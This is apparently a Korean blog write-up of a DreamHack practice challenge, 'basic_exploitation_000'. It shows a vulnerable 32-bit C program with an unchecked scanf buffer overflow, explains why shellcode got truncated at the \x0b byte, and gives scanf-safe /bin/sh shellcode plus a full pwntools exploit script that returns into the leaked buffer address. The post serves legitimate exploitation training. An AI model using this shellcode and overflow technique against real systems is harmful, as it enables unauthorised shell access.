Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage5_문제풀이(basic_exploitation_000) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage5_문제풀이(basic_exploitation_000)

CIDY 2022. 7. 1. 21:54
//32-bit
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

보호기법이 싹 안걸려있다. (주석 참고)  -> nx안걸려있으니 쉘코드 쓰자

 

버퍼 크기가 0x80 == 128인데 141만큼 입력을 받는다. 13바이트만큼 오버플로우를 일으킬 수 있는데 32비트에 카나리같은것도 없으니 그정도면 충분하다.

 

계획 : 출력해주는 버퍼 주소 받기 -> 버퍼에 쉘코드 세팅하고 NOP 좀 깔기 -> 출력받은 주소로 ret시키기

 

 

 

코드는 잘 짰는데 계속 쉘이 안따여서 결국 디버깅을 해봤다. 스택을 열어보면 맨 위에껀 아직 정리 덜 된 scanf의 스택 프레임(매개변수)이 보이고, 그다음부터 쭉 nop이 깔리다가... 쉘코드 중간쯤 가서 더이상 입력이 제대로 되지 않았다. 앞쪽 NOP의 수를 조정해봐도 항상 쉘코드의 \x0b부터 들어가지 않는다.

 

-> 그 이유는 입력을 sacnf로 받기 때문이다. scanf는 \x09, \x0a, \x0b, \x0c, \x0d, \x20을 읽지 못한다. 그래서 딱 \x0b부터 잘린 것.

 

 

-> scanf우회 쉘코드를 써주면 된다. ↓

 

https://orcinus-orca.tistory.com/5

 

내가 쓰려고 적어두는 쉘코드(Shell Code)

직접 쉘코드를 만드는 과정을 겪어보니 쉘코드를 보는 시선이 약간 바뀐 것 같다. 소중한 친구들... 26-byte shell code(x86)_scanf우회 쉘코드 \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x3..

orcinus-orca.tistory.com

 

 

from pwn import *

r = remote("host3.dreamhack.games", 11512)
r.recvuntil(b"buf = (0x")

buf = int(r.recvline()[:-2], 16)

pay = b"\x90" * 0x20
pay += b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
pay += b"\x90" * (0x80 - len(pay))
pay += b"A" * 0x4
pay += p32(buf)

r.sendline(pay)
r.interactive()

 

그냥 쭉쭉 넣어주면 됨.